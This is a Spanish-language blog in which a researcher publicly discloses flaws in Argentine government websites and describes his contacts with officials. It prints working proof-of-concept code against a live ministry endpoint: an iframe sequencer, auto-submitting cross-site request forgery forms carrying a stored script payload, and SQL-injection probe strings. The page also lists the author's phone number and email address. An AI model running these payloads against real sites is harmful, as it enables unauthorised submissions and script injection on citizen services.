Protegido: RXSS en consultas #1: parámetro cuil vulnerable

28 marzo, 2017 chris

Comments

comments

Protegido: Brecha de información expone información de la población nacional

26 marzo, 201727 marzo, 2017 chris

Comments

comments

Remediando la seguridad nacional (Ad-honorem)

30 septiembre, 2016 chris

Estimados,

Estuve pensando aún un poco más, y les quería informar que estoy dispuesto a trabajar para Uds. Ad-honorem, -sin ninguna remuneración-, a fin de ayudar a localizar y corregir fallas de seguridad que puedan ser encontradas en la infraestructura nacional. Creo firmemente que podemos hacer un buen equipo.

Saludos cordiales;
Christian C. Russo

Comments

comments

Protegido: Fracciones de seguridad

27 septiembre, 20162 febrero, 2017 chris

Comments

comments

Remediando la seguridad nacional (¿qué se supone que debo hacer?)

27 septiembre, 201627 septiembre, 2016 chris

Kill the messenger

He recibido comentarios varios por parte de colegas quienes también trabajan en seguridad informática, mencionando que el documento publicado aqui: http://www.fsockopen.com/seguridad-nacional/remediando-la-seguridad-nacional-01 posee diversas fallas ortográficas y clasificaciones inadecuadas de las vulnerabilidades, e incluso menciones sobre algunas “anomalías”, por así decirle, las cuales no son fallas de seguridad o no conllevan un riesgo.

Por lo cual dedicí explicar un poco las condiciones bajo las cuales fue creado el documento.

(1) 24 horas.

Todas las anomalías, fallas de seguridad, y las mismas pruebas de concepto fueron realizadas en un día. Mismo día en el cual escribí y publiqué el informe. Quiero ser claro con esto, todo lo que es posible ver en el contenido de http://www.fsockopen.com/seguridad-nacional/remediando-la-seguridad-nacional-01 fue descubierto, creado y documentado en un lapso de 24 horas. Ya que había una reunión programada para el día Lunes 27/09/2016 en la cual, quería presentar tanta información como me fuera posible conseguir.

(2) Adhonorum, y ni siquiera.

2. No estoy bajo ningúna circunstancia publicando esto por intereses personales, sino, todo lo contrario. Hasta el día de la fecha no he hecho más que dedicar tiempo y dinero para la documentación y presentación de estas fallas de seguridad y comprender cuales son las circunstancias que permiten y dan origen a que esto pueda suceder. No he recibido ninguna clase de remuneración o compensación económica hasta el día de la fecha por lo que he hecho, y no solo eso, sino que muchos encontraron mal que haya publicado el documento.

(3) “No veo ninguna falla de seguridad”.

3. He recibido comentarios particularmente sobre la falla presentada en la siguiente prueba de concepto: http://fsockopen.com/sec_pocs/fallas_nacionales/dni_secuencia_cors_mas_valocidad_xss/

Dado que muchos no entienden exactamente que es lo que pasa cuando se aprieta el boton comenzar, paso a explicarlo:

La web https://tramitesweb.mininterior.gob.ar si bien posee un certificado y HTTPS. Dado el uso no adecuado de headers HTTP conocidos como Access-Control-Allow-Origin, permite ser incluida dentro de un <iframe>.
Haciendo uso de ese mecanismo, y AngularJS, se genera un micro-navegador dentro de un iframe, usando un modelo angular. Esto es parte de la tecnología que he decidido utilizar a fin de probar la falla de seguridad.
Si intentaramos entrar de manera directa por medio de un iframe hacia https://tramitesweb.mininterior.gob.ar/TramiteWebDNI/paso1.php?motivo=3 el servidor devolvería una redirección dada la falta de cookies, por eso, la navegación Angular comienza recorriendo 2 links iniciales a fin de la creación de cookies.
En esta instancia cualquier persona que acceda a este mecanismo creado en AngularJS, ya estaría haciendo pedidos sin saberlo a la página oficial del ministerio del Interior, Obras Públicas y Vivienda de la Presidencia de la Nación. Permitiendole a un atacante realizar un ataque sin utilizar su propia dirección, sino, lanzando el ataque desde multiples computadora que accedan al link con el mecanismo de Angular.
Se procede a enviar formularios, lo cual no sería posible sin la existencia de una segunda falla de seguridad conocida como XSRF o CSRF. El controlador PHP no verifica que los formularios provengan desde la capa visual de la aplicación, aceptando de esa forma que el formulario sea enviado desde un dominio externo. Al llegar a este punto estamos haciendo uso de una falla que muchos considerarían “Frameable Response” combinada con “XSRF/CSRF”. Los formularios se envían con mi información personal, para evitar que más personas me miren mal.
Se hace uso de una tercera falla de seguridad conocida como XSS persistente. El controlador ubicado en https://tramitesweb.mininterior.gob.ar:443/TramiteWebDNI/generar.php almacena la información de los primeros pasos del formulario, posiblemente en una base de datos ya que lo único que puedo observa en cookies es mi session ID (tramitesweb.mininterior.gob.ar: PHPSESSID=f1kql54dk2k6mkhj08dbbd15a3) y preasumo, dadas las condiciones generales de la web, que no hace uso de HTML5 Local Storage / Web Storage.
El XSS que bien, dicho sea de paso, podría ser una inyección SQL es almacenado en la db. No sería posible realizar esto sin otra falla de seguridad, que es la carencia de validación de información recibida por el usuario en el controlador. En otras palabras: https://tramitesweb.mininterior.gob.ar:443/TramiteWebDNI/generar.php debería de verificar la validez del input enviado por el usuario, y no un JS, como es el caso, ya que es posible, (como podemos observar), pasar por alto las validaciones realizadas por el JS, comunicandonos directamente con el controlador.
En conclusión, la prueba de concepto, prueba la existencia de las siguientes fallas:
1. Frameable response (Configuración inadecuada de Access-Control-Allow-Origin)
2. XSRF (es posible enviar información de menera directa al controlador, el formulario es prescindible y al igual que sus mecanismos de validación JS).
3. XSS (el servidor almacena mi inyección de HTML y JS, realizadas por medio de XSRF y un iframe, en una db)
4. Las fallas de seguridad de seguridad se ven en la pantalla del usuario.
Para los que deseen más información técnica sobre lo que hace el codigo, pueden verlo, ya que es JS:

<!DOCTYPE html>
<html ng-app="cors_browser">

  <head>
  
	<!-- favicon -->
	<link rel='shortcut icon' type='image/x-icon' href='media/eirana_icon_16.ico' />
	<title>Eirana: auxiliar: COR Browser</title>
	
    <meta charset="utf-8" />
    <script src="http://ajax.googleapis.com/ajax/libs/angularjs/1.5.8/angular.js"></script>
    <script src="http://ajax.googleapis.com/ajax/libs/angularjs/1.5.8/angular-sanitize.js"></script>
	
	
	<!-- vinculos -->
	<link href="css.css" rel="stylesheet" type="text/css">
	<link href="https://fonts.googleapis.com/css?family=Arvo|Bree+Serif|Kadwa|Questrial|Reem+Kufi" rel="stylesheet">
    
	<script type="text/javascript">
	var app = angular.module('cors_browser', ['ngSanitize']);

	app.controller('main', function($scope, $sce, $interval, $timeout) {
		
		//modificamos los valores de $sce para poder incluir cualquier cosa
		$scope.confiable = function(src) { return $sce.trustAsResourceUrl(src); }
		
		//definimos la posicion inicial
		//$scope.link = { src:"https://tramitesweb.mininterior.gob.ar/TramiteWebDNI/paso1.php?motivo=3", info:"Primera conexión para crear cookies" };	
		
		links = [
			{	src:"https://tramitesweb.mininterior.gob.ar/TramiteWebDNI/paso1.php?motivo=3",
				info:"Primera conexión para crear cookies",
				esperar_aca: "5000" },
			{	src:"https://tramitesweb.mininterior.gob.ar/TramiteWebDNI/paso1.php?motivo=33",
				info:"Nos desplazamos para cambiar el modelo",
				esperar_aca: "5000" },
			{	src:"https://tramitesweb.mininterior.gob.ar/TramiteWebDNI/paso1.php?motivo=3",
				info:"Volvemos al modelo inicial con las cookies armadas",
				esperar_aca: "5000" },
			{ 	src:"xsrf/dni_01_xsrf_require_cookies.html",
				info:"Inclusion local de recurso forzando un XSRF, ahora con cookies, podemos hacerlo.",
				esperar_aca: "5000" },
			{ 	src:"xsrf/dni_02_xsrf_ubicacion.html",
				info:"Se vuelve peligroso, el usuario pasa a ser victima de una secuencia de autonavegación por medio de un iframe, donde los pedidos comienzan a enviar formularios por medio de el abuso de un XSRF. El usuario podría quedar involucrado en un crimen, en caso de haber un mecanismo de cobranza online.",
				esperar_aca: "5000" },
			{	src:"xsrf/dni_03_xsrf_domicilio.html",
				info:"El usuario ahora envia información de un tercero (aclaración: la información usada es información personal mia), pidiendo una renovación de DNI.",
				esperar_aca: "5000" },
			{	src:"xsrf/dni_04_final_de_sinfonia.html",
				info:"Final de la composición.",
				esperar_aca: "5000" }
		];

		//funcion que recorre los links definidos
		$scope.foreach_links = function() {
			
			angular.forEach(links, function(value, index) {
				
				$timeout(function() {
					console.log(value);
					console.log(index);
					$scope.link = value;
				}, index * 500);
				
				
			});
				
		}
		
	});

	</script>
	
  </head>

  <body ng-controller="main">
	<div class="superior">
		<button class="comenzar_secuencia" ng-click="foreach_links()">Comenzar</button>
		<input class="url_address" type="" ng-model="link.src"/>
	</div>
	<p ng-show="link.info" class="link_info" >{{link.info}}</p>
    <iframe class="url_iframe" type="text/html" width="100%" height="700px" ng-src="{{confiable(link.src)}}" frameborder="0"></iframe>
  </body>

</html>

<!DOCTYPE html>

<head>

<title>Eirana: auxiliar: COR Browser</title>

var app = angular.module('cors_browser', ['ngSanitize']);

app.controller('main', function($scope, $sce, $interval, $timeout) {

//modificamos los valores de $sce para poder incluir cualquier cosa

$scope.confiable = function(src) { return $sce.trustAsResourceUrl(src); }

//definimos la posicion inicial

//$scope.link = { src:"https://tramitesweb.mininterior.gob.ar/TramiteWebDNI/paso1.php?motivo=3", info:"Primera conexión para crear cookies" };

links = [

{ src:"https://tramitesweb.mininterior.gob.ar/TramiteWebDNI/paso1.php?motivo=3",

info:"Primera conexión para crear cookies",

esperar_aca: "5000" },

{ src:"https://tramitesweb.mininterior.gob.ar/TramiteWebDNI/paso1.php?motivo=33",

info:"Nos desplazamos para cambiar el modelo",

esperar_aca: "5000" },

{ src:"https://tramitesweb.mininterior.gob.ar/TramiteWebDNI/paso1.php?motivo=3",

info:"Volvemos al modelo inicial con las cookies armadas",

esperar_aca: "5000" },

{ src:"xsrf/dni_01_xsrf_require_cookies.html",

info:"Inclusion local de recurso forzando un XSRF, ahora con cookies, podemos hacerlo.",

esperar_aca: "5000" },

{ src:"xsrf/dni_02_xsrf_ubicacion.html",

info:"Se vuelve peligroso, el usuario pasa a ser victima de una secuencia de autonavegación por medio de un iframe, donde los pedidos comienzan a enviar formularios por medio de el abuso de un XSRF. El usuario podría quedar involucrado en un crimen, en caso de haber un mecanismo de cobranza online.",

esperar_aca: "5000" },

{ src:"xsrf/dni_03_xsrf_domicilio.html",

info:"El usuario ahora envia información de un tercero (aclaración: la información usada es información personal mia), pidiendo una renovación de DNI.",

esperar_aca: "5000" },

{ src:"xsrf/dni_04_final_de_sinfonia.html",

info:"Final de la composición.",

esperar_aca: "5000" }

];

//funcion que recorre los links definidos

$scope.foreach_links = function() {

angular.forEach(links, function(value, index) {

$timeout(function() {

console.log(value);

console.log(index);

$scope.link = value;

}, index * 500);

});

}

});

</script>

</head>

<button class="comenzar_secuencia" ng-click="foreach_links()">Comenzar</button>

</div>

</body>

</html>

Como verán, el mecanismo principal, realiza 4 inclusiones de mecanismos auxiliares, los cuales son usados para hacer el XSRF:

En orden cronológico, el primero (corresponde a “Paso1”, como podemos ver en el código):

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
</head>

	<script language="JavaScript">
	function sleep (time) { return new Promise((resolve) => setTimeout(resolve, time)); }
	sleep(100).then(() => { document.getElementById('XSRF').submit(); });
	</script>
	
	</head>

	<body onload="fireForms()">
	
	<form id="XSRF" method="POST" name="form0" action="https://tramitesweb.mininterior.gob.ar:443/TramiteWebDNI/generar.php">
	<input type="hidden" name="botonPaso1" value="1"/>
	<input type="hidden" name="txtdni" value="<h1>El DNI solo se valida por JS. Presencia de XSS.</h1>"/>
	<input type="hidden" name="txtsexo" value="m"/>
	<input type="hidden" name="ope" value="1"/>
	<input type="hidden" name="txtapellido" value="<h2>Lo mismo sucede con el apellido.</h2>"/>
	<input type="hidden" name="txtnombres" value="<h3>Y el nombre...</h3>"/>
	<input type="hidden" name="txtidestadocivil" value="2"/>
	<input type="hidden" name="txtfechanacdia" value="<h1>Se incluyÃ³ JS en el campo 'txtfechanacanio' para hacer la web se recarge a sÃ misma cada 3000 ms.</h1>"/>
	<input type="hidden" name="txtfechanacmes" value="<h2>Del mismo modo podrÃa haberse hecho, cualquier otra cosa, la validaciÃ³n es nula.</h2>"/>
	<input type="hidden" name="txtfechanacanio" value="<script>setTimeout(function(){location.href = location.href;}, 3000);</script>"/>
	<input type="hidden" name="B1" value="CONTINUAR  >"/>
	</form>

</body>
</html>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>

</head>

function sleep (time) { return new Promise((resolve) => setTimeout(resolve, time)); }

sleep(100).then(() => { document.getElementById('XSRF').submit(); });

</script>

</head>

<input type="hidden" name="txtdni" value="<h1>El DNI solo se valida por JS. Presencia de XSS.</h1>"/>

<input type="hidden" name="txtapellido" value="<h2>Lo mismo sucede con el apellido.</h2>"/>

<input type="hidden" name="txtnombres" value="<h3>Y el nombre...</h3>"/>

<input type="hidden" name="txtfechanacdia" value="<h1>Se incluyÃ³ JS en el campo 'txtfechanacanio' para hacer la web se recarge a sÃ misma cada 3000 ms.</h1>"/>

<input type="hidden" name="txtfechanacmes" value="<h2>Del mismo modo podrÃa haberse hecho, cualquier otra cosa, la validaciÃ³n es nula.</h2>"/>

<input type="hidden" name="txtfechanacanio" value="<script>setTimeout(function(){location.href = location.href;}, 3000);</script>"/>

</form>

</body>

</html>

El segundo (corresponde a “Paso2”):

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
</head>

	<script language="JavaScript">
	function sleep (time) { return new Promise((resolve) => setTimeout(resolve, time)); }
	sleep(100).then(() => { document.getElementById('XSRF').submit(); });
	</script>
	
	</head>

	<body onload="fireForms()">
	
	<form id="XSRF" method="POST" name="form0" action="https://tramitesweb.mininterior.gob.ar:443/TramiteWebDNI/generar.php">
	<input type="hidden" name="botonPaso2" value="1"/>
	<input type="hidden" name="txtidpais" value="13"/>
	<input type="hidden" name="ope" value="2"/>
	<input type="hidden" name="txtidprov" value="174"/>
	<input type="hidden" name="txtidpartloc" value="241,22"/>
	<input type="hidden" name="B1" value="CONTINUAR  >"/>
	</form>

</body>
</html>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>

</head>

function sleep (time) { return new Promise((resolve) => setTimeout(resolve, time)); }

sleep(100).then(() => { document.getElementById('XSRF').submit(); });

</script>

</head>

</form>

</body>

</html>

El Tercero (corresponde a “Paso3”):

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
</head>

	<script language="JavaScript">
	function sleep (time) { return new Promise((resolve) => setTimeout(resolve, time)); }
	sleep(100).then(() => { document.getElementById('XSRF').submit(); });
	</script>
	
	</head>

	<body onload="fireForms()">
	
	<form id="XSRF" method="POST" name="form0" action="https://tramitesweb.mininterior.gob.ar:443/TramiteWebDNI/generar.php">
	<input type="hidden" name="botonPaso3" value="1"/>
	<input type="hidden" name="txtidpais" value="13"/>
	<input type="hidden" name="ope" value="3"/>
	<input type="hidden" name="txtidprov" value="174"/>
	<input type="hidden" name="txtidpartloc" value="241,22"/>
	<input type="hidden" name="txtcalle" value="ROY"/>
	<input type="hidden" name="txtnumero" value="1459"/>
	<input type="hidden" name="txtpiso" value="4"/>
	<input type="hidden" name="txtdepto" value="400"/>
	<input type="hidden" name="txtmonoblock" value="Palermo"/>
	<input type="hidden" name="txtcpostal" value="1414"/>
	<input type="hidden" name="txtcodigocel" value="11"/>
	<input type="hidden" name="txtcelular" value="50003663"/>
	<input type="hidden" name="txtcodigotel" value=""/>
	<input type="hidden" name="txttelefono" value=""/>
	<input type="hidden" name="txtmail" value="chris.russo99@gmail.com"/>
	<input type="hidden" name="B1" value="CONTINUAR  >"/>
	</form>

</body>
</html>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>

</head>

function sleep (time) { return new Promise((resolve) => setTimeout(resolve, time)); }

sleep(100).then(() => { document.getElementById('XSRF').submit(); });

</script>

</head>

</form>

</body>

</html>

El final (que corresponde a “Paso4”, como podemos ver en el código):

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
</head>

	<script language="JavaScript">
	function sleep (time) { return new Promise((resolve) => setTimeout(resolve, time)); }
	sleep(100).then(() => { document.getElementById('XSRF').submit(); });
	</script>
	
	</head>

	<body onload="fireForms()">
	
	<form id="XSRF" method="POST" name="form0" action="https://tramitesweb.mininterior.gob.ar:443/TramiteWebDNI/generar.php">
	<input type="hidden" name="botonPaso4" value="1"/>
	<input type="hidden" name="txtlee" value="S"/>
	<input type="hidden" name="ope" value="4"/>
	<input type="hidden" name="txtidnivel" value="11"/>
	<input type="hidden" name="txtidtitulo" value="513"/>
	<input type="hidden" name="txtidpostgrado" value="1"/>
	<input type="hidden" name="txtidocupacion" value="324"/>
	<input type="hidden" name="txtcambios" value="GÃ¶del, Escher, Bach(GÃ¶del, Escher, Bach())"/>
	<input type="hidden" name="B1" value="CONTINUAR  >"/>
	</form>

</body>
</html>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>

</head>

function sleep (time) { return new Promise((resolve) => setTimeout(resolve, time)); }

sleep(100).then(() => { document.getElementById('XSRF').submit(); });

</script>

</head>

</form>

</body>

</html>

(4) Addendum de (3 “No veo ninguna falla de seguridad”).

Para los que no llegan a ver las posibilidades, el controlador parece, o bien, digamos, podría ser vulnerable no solo a un XSS sino a una inyección SQL. Si ese fuera el caso; el mecanismo creado por medio de Angular, dada la presencia de las demás fallas de seguridad, harían posible que una persona publique en facebook, o cualquier red social una vulnerabilidad así, y decenas de personas disparen una inyección SQL hacia los servidores sin siquiera saberlo, gracias a la “weaponización” de las fallas en los headers de acceso en combinación con el XSRF. De no ser así, no sería posible.

(5) Algunas de las anomalías publicadas no son fallas de seguridad.

Si, es verdad, algunas de las anomalías publicadas, como el hecho de que la web www.buenosaires.gob.ar diga “sarasa”, no son fallas de seguridad, pero son prueba clara del descuido que hay al crearlas. Del mismo modo que podemos encontrar recursos olvidados diciendo “sarasa”, podemos ver recursos de instalación de un Drupal, y varias cosas más que revelan información y deberían de ser eliminadas del servidor. En especial, dado que no sirven para nada y exponen al servidor a más riesgos de manera innecesaria. Considero que hay que sacar lo que no se usa o lo que no sirve, más que nada cuando puede generar un problema.

(6) Es irresponsable hacer la información pública.

Es aún más irresponsable vivir en un país lleno de profesionales en seguridad informática, creadores de Core Security Technologies en 1996 (https://en.wikipedia.org/wiki/Core_Security_Technologies) y ser incapaces de resolver fallas de seguridad que ponen en riesgo la información de millones de ciudadanos.

Se que hay miles de personas acá que son capaces de reconocer las mismas fallas de seguridad que he localizado y mencionado. Pero, ¿Por qué nadie informa, por qué nadie considera que sea un riesgo? ¿Por qué consideramos que es “normal” que las condiciones sean esas? ¿Por qué aceptamos que las cosas sean así y no hacemos nada para remediarlo? ¿Por qué no hacemos algo para remediarlo? ¿Por qué en vez de ayudarme, critican lo que estoy haciendo?

Muchos de Uds saben que la seguridad online de la Nación es débil, desde hace muchos años. Creo que es responsabilidad de quienes sabemos algo sobre seguridad informática hacer algo para remediar las condiciones.

(7) Pero de nuevo, ¿por qué hacerlo público?

La razón por la cual decidí hacer el documento público es porque previo a hacer el documento público, me comuniqué con:

Andrés Horacio Ibarra (https://www.linkedin.com/in/andrés-horacio-ibarra-44421417) (por Linkedin) (me refirió a…
José Hirschon (con quien no logré comunicarme…)
Daniel Abadie (https://www.linkedin.com/in/danielabadie), (por email)
Eduardo Jorge Martino (https://www.linkedin.com/in/eduardo-jorge-martino-b199ba28), (varias conversaciones Telefónicas)
Diego Gonzalez (Director de Ciberseguridad, Subsecretaría de Tecnologías y Ciberseguridad, Ministerio de Modernización) (reunión del Lunes 26)
Oscar Morotti (reunión del Lunes 26).

En la reunión con Diego y Oscar, mencionaron que el organismo de ciberseguridad de la nación, localiza he informa diversas fallas de seguridad en organismos y servicios web de la república a diario y envían comunicados hacia los organismos responsables casi a diario.

Sin embargo; el problema, de acuerdo a El Director de Ciberseguridad, Subsecretaría de Tecnologías y Ciberseguridad, Ministerio de Modernización, es que las organizaciones responsables (como podrían ser los responsables de un servicio web que corresponde a una provincia o bien, un organismo del gobierno, solo por dar una idea) muchas veces, en su mayoría, no reconocen las fallas de seguridad y/o no le dan la relevancia necesaria para remediar las mismas.

Lo cual sugiere un problema serio en los mecanismos de comunicación y corrección de fallas de seguridad de La República. Es inconcebible que el país, disponga de un organismo dedicado pura y exclusivamente a la detección y notificación de fallas de seguridad a nivel nacional, y que los diversos organismos, los cuales son informados, no hagan nada para resolverlo. Asumiendo claro que la información dada por Diego y Oscar sea válida, lo cual, no dudo en lo más mínimo.

Las aplicaciones y los servicios web que corresponden a la república, son creados, -asumo, y generalizo- con dinero de que proviene del Pueblo, de cada uno de los miembros de la comunidad que llamamos país. Del mismo modo los sueldos y el dinero asignado a las diversas organizaciones públicas que realizan su labor a diario.

Si uno de los mecanismos falla, como podríamos mencionar el caso de la policía y las leyes, o bien, lo que podemos ver acá; lo que se genera es un problema:

Disponemos de personas creando aplicaciones web, que exponen la seguridad de los miembros de la comunidad, disponemos de un equipo especializado en informar las fallas de seguridad, el cual no siempre es escuchado, y disponemos de organismos capaces de que crear y publicar aplicaciones y servicios web con vulnerabilidades, sin revisiones previas, que pueden exponer a la sociedad a riesgos y no escuchan las recomendaciones del área de modernización.

(8) Conclusión:

Como sociedad, debemos crear un mecanismo válido de comunicación y prevención de fallas de seguridad, con la dinámica necesaria para cambiar la condición. Las organizaciones y los responsables de los diversos servicios web del país deben ser informados y de alguna manera, creo, que debería ser obligación, la corrección de cualquier falla de seguridad que haga posible, hacer cosas como las que ya he publicado.

Comments

comments

Remediando la seguridad nacional (Comunicación hacia Andres Horacio Ibarra)

26 septiembre, 2016 chris

Estimado Andres; El día de hoy he tenido una reunión con Diego Gonzalez y Oscar Morotti, quienes trabajan a cargo de Eduardo Jorge Martino (Director Nacional de Infraestruturas Críticas de Información y Ciberseguridad), quienes a la vez reportan a José Joaquín Hirschon.

He hablado con ellos y entiendo que el organismo, desde el ministerio, no dispone la posibilidad de realizar modificaciones y/o bien, lo que sucede, es que las notifican y nunca son corregidas. Tengo una idea, la cual, si ud me ayuda, podríamos cambiar el mecanismo de funcionamiento del organismo, dándole mayor poder de acción al ministerio.

Necesitamos una forma de poder ayudar a las personas responsables y de diversos organismos nacionales. Ayudarlos a remediar, sin que opongan resistencia y sin que les genere costos la reparación del código. Necesitamos poder arreglar estas fallas de seguridad. ¿Me podría dar su dirección de correo a fin de ponerlo en copia?

Comments

comments

Remediando la seguridad nacional

25 septiembre, 201626 septiembre, 2016 chris

Indice:

A fin de hacer un uso indicado del tiempo, se estableció que en la reunión se haría foco en 4 temas principales.

¿Quien soy, y porque me interesa ayudar?
Fallas de seguridad que logré localizar
Un plan de acción a fin de remediar las condiciones analizadas en (2).
1. A fin de localizar, e informar fallas de seguridad con mayor fluidez
2. Llevar la seguridad online de la web nacional a niveles de excelencia.
Posibles formas de crear un equipo.

Recuerdo que Diego Gonzalez mencionó que por ahora no era necesario un CV, el cual, en cualquier caso no dispongo de ninguno, y que pidio hacer referencia especial a las fallas localizadas. La mayoría de la información se basa en las fallas, sin embargo, le pido disculpas, ya que consideré apropiado hacer una breve referencia sobre mi, dado que en cualquier caso, no poseo un curriculum.

1. Breve referencia sobre mi.

Christian Carlos Russo, Nací en Nuñez, Ciudad de Buenos Aires, Argentina. Probablemente tenga alguna deuda con alguna empresa y en algún momento fui un monotributista. Vivo en Palermo, se pueden comunicar conmigo al +5491122739153, cuando no me encuentro en el país: por medio de skype: chrusso99 o via email: chris.russo99

Julio del 2010: Gano acceso a la rede de bittorrent más grande del mundo (TPB), y decido informarle a la prensa, lo cual generó mucha polémica. Enero del 2011: descubro fallas de seguridad en decenas de redes sociales, las cual decido informar, 2 de ellas cobraron muchísima relevancia y aún al día de hoy muchas personas consideran que mis acciones no fueron las adecuadas. Diversos diarios comenzando por Clarin a nivel nacional, cubrieron la información.

Referencias:

Algunas personas mencionaron el episodio de TPB como una de las maniobras de hacking (aunque solo he informado!) más increíbles del año.

Informé varias fallas de seguridad en el proceso de la creación del LHC y aún conservo la relación con algunos de los ingenieros del CERN. Fui empleado de una firma de seguridad nacional por dos meses, renuncie por diferencias con el empleador, quien en mi opinión no sabía referirse de manera adecuada las personas.

Firmas, conferencias y cursos:

Los próximos 6 años, desde mis 22 años a el día de hoy me dediqué a realizar aplicaciones y revisiones de seguridad para diversas firmas, bancos y gobiernos. Incluyendo un proceso de casi 2 años desarrollando mecanismos de seguridad en Riyadh, Saudi Arabia. Las especificaciones sobre lo que hice, en su gran mayoría son confidenciales, por medio de acuerdos firmados.

Realicé algunos acuerdos con empresas nacionales, las cuales espero que hayan quedado conformes, y creo poder darles referencia en caso de que así lo deseen o requieran.

En caso de querer saber más de mi, por favor, háganmelo saber.

2. Fallas de seguridad que logré localizar

El análisis y la creación del resumen (aquí) fue realizado el día Sabado 25, y Domingo 26, dos días previos a la reunión. No me fue posible asignar más días. Espero que las fallas localizadas alcancen para probar la idea. Voy a sacar algunas conclusiones al finalizar.

http://fsockopen.com/sec_pocs/fallas_nacionales/anses_01_csrf_and_disclosure.html

El parámetro “needle” falla en validar el valor “0” y devuelve toda la información disponible sobre localizaciones. Además es posible hacer un CRSF (También conocido como XSRF) en diversas secciones del servicio web. Se prueban ambas fallas de seguridad. La aplicación carece de varias validaciones necesarias. Recordemos que son localidades, pero si fuera información sensible, sería un riesgo mucho mayor.

http://fsockopen.com/sec_pocs/fallas_nacionales/buenos_aires_ciudad_01_poco_serio_sarasa.html

Una página deprecada, que quedó abandonada, en los servidores del gobierno de la Ciudad de Buenos Aires. Se puede leer “sarasa” en la web… no considero que sea una falla de seguridad, pero no creo que quede serio para inversores o personas que evalúen la seguridad, del mismo modo que lo puedo hacer yo. Queda, muy poco serio.

http://fsockopen.com/sec_pocs/fallas_nacionales/buenos_aires_ciudad_02_server_error.html

Un error interno en el servidor, consecuencia de fallas de validación en el parámetro de búsqueda keys. Es posible que haya una inyección SQL, ya que he observado diversas respuestas similares. No puedo confirmar la inyección SQL porque no quiero romper ninguna ley, ni avanzar más de lo debido.

http://fsockopen.com/sec_pocs/fallas_nacionales/buenos_aires_ciudad_03_xss_1.html

Se presenta de nuevo la misma falla, ahora probando la presencia de un XSS en la misma variable. Indica que no hay casi ningún mecanismo de validación. Cuando es posible hacer un XSS, muchas veces, es posible realizar una inyección hacia la db.

http://fsockopen.com/sec_pocs/fallas_nacionales/buenos_aires_ciudad_04_xss_2.html

Una prueba un poco más clara de la capacidad de la inyección de HTML. Como pueden ver la validación es nula, y la información es usada en diversas posiciones de la aplicación. Veo muy viable que la falla de seguridad que vemos, sea posible codificarla, para ser usada como un arma (lo que diríamos “weaponized” en inglés), hacer uso de la falla para sacar alguna clase de información.

http://fsockopen.com/sec_pocs/fallas_nacionales/buenos_aires_ciudad_05_drupal_expose.html

Menú de instalación de Drupal (un sistema de gestión de contenido) con el cual parece haber sida realizada la página web. Ahora podemos confirmar que es Drupal, y buscando en el código, podríamos ver el enlace hacia: http://www.buenosaires.gob.ar/misc/drupal.js?0, y ver a que versión de drupal corresponde el JS. La información que es posible recopilar nos daría lugar a buscar errores (vulnerabilidades especificas) ya clasificadas para ese sistema y la versión especifica del mismo. En adición los archivos de instalación siempre deberían de ser eliminados, no es una buena idea.

http://fsockopen.com/sec_pocs/fallas_nacionales/infoleg_01_explica_mecanismos_de_seguridad.html

www.infoleg.gob.ar usa iframes en diversos lugares. XSRF de nuevo, y lo he usado para referirme a una sección, donde dadas algunas variables de manera equivoca, la aplicación decide revelarnos información sobre como funcionan las medidas de seguridad. Inapropiado, porque nos da la chance de saber como evadirlas…

http://fsockopen.com/sec_pocs/fallas_nacionales/infoleg_02_xsrf_01_armamos_cookies.html

El primer link debe ser accedido primero para generar las cookies, las vamos a usar para acceder al segundo link… se usa solo a modo de referencia.

http://fsockopen.com/sec_pocs/fallas_nacionales/infoleg_03_xsrf_cookies_p_server_error.html

Podemos ver más información enviada por medio de XSRF, generando errores en el servidor, los cuales no son administrados por la aplicación.

http://fsockopen.com/sec_pocs/fallas_nacionales/infoleg_04_xsrf_inyeccion_sql_oscura_falso.html

XSRF + Posible inyección SQL, decidí no hacer demasiada presión acá, dada la posibilidad de que alarmara a alguien sin ninguna razón en el fin de semana. Lo que se puede ver es el envío de la variable “texto” con el valor “if(9945=123,foo,bar);”, la cual es, casi sin duda alguna, procesada por código de la aplicación o bien, una base de información. El envio es realizado por medio de un XSRF (se podria hacer sin el XSRF, pero aprobecho para presentar al menos dos fallas a la vez).

http://fsockopen.com/sec_pocs/fallas_nacionales/infoleg_05_xsrf_inyeccion_sql_oscura_verdadero.html

A fin de comprender la lógica de la inyección, es necesario enviar una ecuación inversa: enviando if(983=983,foo,bar); el servidor genera un error (500), dado que el número es igual. En caso de que el número no sea igual if(9945=123,foo,bar), las funciones no son requeridas, por lo cual, pre-asumo, no genera el error. Lo cual podría ser clasificado como un XSRF combinado con el principio de una inyección SQL, que se ve muy posible.

http://fsockopen.com/sec_pocs/fallas_nacionales/inversiones_01_defensa_expresiones_regulares_bienvenido.html

Parece no haber ningún problema cuando se le pide @@ersion, pero se puede ver el uso de algun waf, al pedirle @@version,

http://fsockopen.com/sec_pocs/fallas_nacionales/inversiones_02_defensa_expresiones_regulares_rechazado.html

Acá podemos ver como responde cuando agregamos la v inicial a la variable. (Recordemos que aún enviamos información por medio de XSRF)

http://fsockopen.com/sec_pocs/fallas_nacionales/produccion_01_dos_menosdos.html

El servidor responde con una conversión donde el valor -2 pasa a ser 22, he probado con diversos valores numéricos pero no pude clasificar la anomalía, sin embargo, se que si se realizan operaciones de esa clase sobre una cadena de información recibida por el usuario, puede ser indicio de una falla de seguridad mayor, ya que es claro que hay operaciones matematicas, siendo realizadas sobre la información enviada.

http://fsockopen.com/sec_pocs/fallas_nacionales/produccion_02_full_disclosure.html

